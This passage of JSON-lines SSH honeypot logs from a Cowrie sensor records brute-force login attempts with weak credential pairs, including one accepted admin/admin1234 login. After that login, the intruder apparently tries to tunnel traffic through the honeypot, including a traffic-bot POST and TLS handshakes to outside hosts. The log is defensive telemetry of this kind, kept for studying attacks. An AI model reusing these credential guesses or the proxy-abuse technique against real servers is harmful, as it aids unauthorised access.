{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03>=J\\xa3\\xd76\\xb4L\\x96\\xf07\\xed?\\xc1\\x14\\xecNo\\x00]\\x806\\xf3\\xe3\\xddI\\xadA\\x82\\xe5M\\x96 J3\\x16*\\xe7-\\xcb\\xff\\n*\\r\\xe0\\xd2i\\x1bS\\x01^=\\x1a\\xfb\\x7fQ\\xca\\xb0\\x02\\\\\\x06\\x9e\\x9a\\xb5Z\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x87\\xba\\x94\\xdd\\xa2\\xcf\\xf6\\xaa\\xa7Jb(c\\xba\\xb8mn\\xd3\\xe5\\x14\\xa1\\x18\\xab-{\\x0b\\t\\xa0\\x13ws3\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03>=J\\xa3\\xd76\\xb4L\\x96\\xf07\\xed?\\xc1\\x14\\xecNo\\x00]\\x806\\xf3\\xe3\\xddI\\xadA\\x82\\xe5M\\x96 J3\\x16*\\xe7-\\xcb\\xff\\n*\\r\\xe0\\xd2i\\x1bS\\x01^=\\x1a\\xfb\\x7fQ\\xca\\xb0\\x02\\\\\\x06\\x9e\\x9a\\xb5Z\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x87\\xba\\x94\\xdd\\xa2\\xcf\\xf6\\xaa\\xa7Jb(c\\xba\\xb8mn\\xd3\\xe5\\x14\\xa1\\x18\\xab-{\\x0b\\t\\xa0\\x13ws3\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:46.476439Z","src_ip":"38.46.222.137","session":"43441b1f676c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"josef","password":"josef","message":"login attempt [josef/josef] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:48.571610Z","src_ip":"91.92.40.36","session":"28037d3deb27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:50.523146Z","src_ip":"91.92.40.36","session":"28037d3deb27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37800,"dst_ip":"159.203.135.109","dst_port":22,"session":"7899c0040a1a","protocol":"ssh","message":"New connection: 91.92.40.36:37800 (159.203.135.109:22) [session: 7899c0040a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:52.528784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:53.089468Z","src_ip":"91.92.40.36","session":"7899c0040a1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:53.092363Z","src_ip":"91.92.40.36","session":"7899c0040a1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:55.324878Z","src_ip":"38.46.222.137","session":"43441b1f676c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"tests","message":"login attempt [test/tests] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:57.318217Z","src_ip":"91.92.40.36","session":"7899c0040a1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:59.401763Z","src_ip":"91.92.40.36","session":"7899c0040a1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48550,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a25b1b60810","protocol":"ssh","message":"New connection: 91.92.40.36:48550 (159.203.135.109:22) [session: 6a25b1b60810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:00.230427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:01.742428Z","src_ip":"91.92.40.36","session":"6a25b1b60810","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:01.748555Z","src_ip":"91.92.40.36","session":"6a25b1b60810","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":59654,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed8d4d4f721b","protocol":"ssh","message":"New connection: 123.27.168.40:59654 (10.17.0.5:22) [session: ed8d4d4f721b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:04.080458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:04.085054Z","src_ip":"123.27.168.40","session":"ed8d4d4f721b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:04.394907Z","src_ip":"123.27.168.40","session":"ed8d4d4f721b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:05.565002Z","src_ip":"123.27.168.40","session":"ed8d4d4f721b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:05.992295Z","session":"ed8d4d4f721b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:06.073349Z","session":"ed8d4d4f721b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:06.365243Z","src_ip":"123.27.168.40","session":"ed8d4d4f721b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; M671M4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=M2JKWCF2IW9feGhtQHFHOA%3D%3DuPCUZSH1ZxE7J0BqLf94QSE08g8Sayo%2BfxW59xK4cH3zY9%2Bi4ubdFwFIscO6iswLL%2BtHjyj%2B%2Fx5zfsm6fwfzq%2FPImf%2B4NL00S%2BzX9p0yYVa6ulmQhfm5FSzUPtr3p0zuuG4YJ96QhNEZKaQixn3L%2F41xe6JL0%2FkRLuEiFzI40jjMv28u0zakd2xoF9Z8OXfwB4tTCD4xDXNl7AWQKMH2bLbCrQ1y8kOl8rz0O9VV7LXCOJyjVzJFALbQvCXnYxqNxM65hrmUMkTYnsPp9SdyGH4l85zqqi14YSPjiVhLFuWK0TtlM0%2FhH%2FmSN89io8bPzMuxqK4J4gZw9TXBD5kLNvSEqI6SD%2F8jw8M6ozZGHKCHkFuiC8OyVsaD%2FioMA9SS%2B7ksSAXC1K3O9uG0Zpy4WFU8N3rZt9q3Id5cYx0Fn2CA6Uat31mNZHd6VO6bxAAohiLFqHYl4ar2EMU2uGowoR59S88q5BMwsjA7E5bFwH%2FFLgd3Cz1LGO2%2BxBgo%2FgIRdTar5YGj1NMG5cXHCariF4xNqtzvJlxb%2BZ6E5FT%2B2jB96D0Ul6niV9xHU0cPi2vGaHqFFLFwtQkyl7WGq6lQPvhY5c9XlKIfj8PrLh2rFFsdwhPsClSUr%2FZk6FtEwNAd0ikqM%2FuTsddadvWXQt4h6yvjc3%2BioKJh29NtKP6JhK9C4IuRnKcVx6K1YjYdP1GOQ2SmDnz%2BOzbmAmW3nZMIbhqTJhqaeLbDGHO4h0sqs1KxtgKacq40lHxA5yctrbQqwsKf3Pnsch9MCdbwHUD9l6%2FncVFiwcGe9u49dfqIcAU5Jz7uVnOUQMLPI9ruLJ69iNXk0TG4I1rq3zau4ymP9VvhS9O0EpztDfCmnUkehl2K2W9nnk3WrQ8aICQ97r5%2F2Q9oWMoWZzd3f7tTc3vrUfbseVx%2B6orIgf1uOSHIyhmv2wn9V0EmAHa2N7XrCCY%2F3vEiE2QFEuoXJ3Xj%2B4%2Bl8JfV33d%2FQKtmSxmKcQRf2pooBYGpF2mUSPJ4HRK5vPh8lO%2BUZ%2BwjXDYzVdTIbFGPDQl95Y%2BQ4ZRn0c8oygwqgMVxgrZk5T35uoP%2BfOt%2Bl3gU'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; M671M4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=M2JKWCF2IW9feGhtQHFHOA%3D%3DuPCUZSH1ZxE7J0BqLf94QSE08g8Sayo%2BfxW59xK4cH3zY9%2Bi4ubdFwFIscO6iswLL%2BtHjyj%2B%2Fx5zfsm6fwfzq%2FPImf%2B4NL00S%2BzX9p0yYVa6ulmQhfm5FSzUPtr3p0zuuG4YJ96QhNEZKaQixn3L%2F41xe6JL0%2FkRLuEiFzI40jjMv28u0zakd2xoF9Z8OXfwB4tTCD4xDXNl7AWQKMH2bLbCrQ1y8kOl8rz0O9VV7LXCOJyjVzJFALbQvCXnYxqNxM65hrmUMkTYnsPp9SdyGH4l85zqqi14YSPjiVhLFuWK0TtlM0%2FhH%2FmSN89io8bPzMuxqK4J4gZw9TXBD5kLNvSEqI6SD%2F8jw8M6ozZGHKCHkFuiC8OyVsaD%2FioMA9SS%2B7ksSAXC1K3O9uG0Zpy4WFU8N3rZt9q3Id5cYx0Fn2CA6Uat31mNZHd6VO6bxAAohiLFqHYl4ar2EMU2uGowoR59S88q5BMwsjA7E5bFwH%2FFLgd3Cz1LGO2%2BxBgo%2FgIRdTar5YGj1NMG5cXHCariF4xNqtzvJlxb%2BZ6E5FT%2B2jB96D0Ul6niV9xHU0cPi2vGaHqFFLFwtQkyl7WGq6lQPvhY5c9XlKIfj8PrLh2rFFsdwhPsClSUr%2FZk6FtEwNAd0ikqM%2FuTsddadvWXQt4h6yvjc3%2BioKJh29NtKP6JhK9C4IuRnKcVx6K1YjYdP1GOQ2SmDnz%2BOzbmAmW3nZMIbhqTJhqaeLbDGHO4h0sqs1KxtgKacq40lHxA5yctrbQqwsKf3Pnsch9MCdbwHUD9l6%2FncVFiwcGe9u49dfqIcAU5Jz7uVnOUQMLPI9ruLJ69iNXk0TG4I1rq3zau4ymP9VvhS9O0EpztDfCmnUkehl2K2W9nnk3WrQ8aICQ97r5%2F2Q9oWMoWZzd3f7tTc3vrUfbseVx%2B6orIgf1uOSHIyhmv2wn9V0EmAHa2N7XrCCY%2F3vEiE2QFEuoXJ3Xj%2B4%2Bl8JfV33d%2FQKtmSxmKcQRf2pooBYGpF2mUSPJ4HRK5vPh8lO%2BUZ%2BwjXDYzVdTIbFGPDQl95Y%2BQ4ZRn0c8oygwqgMVxgrZk5T35uoP%2BfOt%2Bl3gU'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:06.368797Z","src_ip":"123.27.168.40","session":"ed8d4d4f721b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:06.605653Z","src_ip":"123.27.168.40","session":"ed8d4d4f721b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaa\\xf0)\\xe5\\xac\\xd8qu\\xc6y\\xde\\xc1)\\xf2\\xb5\\xf1\\xbbf\\xfe\\x93\\xf0,r\\xba\\x893\\xabz\\x1b\\xbd\\xe6\\xf9 \\xe9\\xd3=gv\\xc8\\x8eY\\xb1\\xd07~!f\\xfb\\xbeK\\xc0\\xa7'g{\\x0b\\xb0\\x0f\\xbft\\x8bm\\x96^}\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 6\\x05\\xbc~{,\\xf4g\\xda?\\x03\\xc9\\xd6\\xf1\\xa5\\xbcf\\xac\\x14EoU\\xd2\\xca\\x8b\\x81\\xa8\\xbe\\xd8\\xfd\\x04T\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00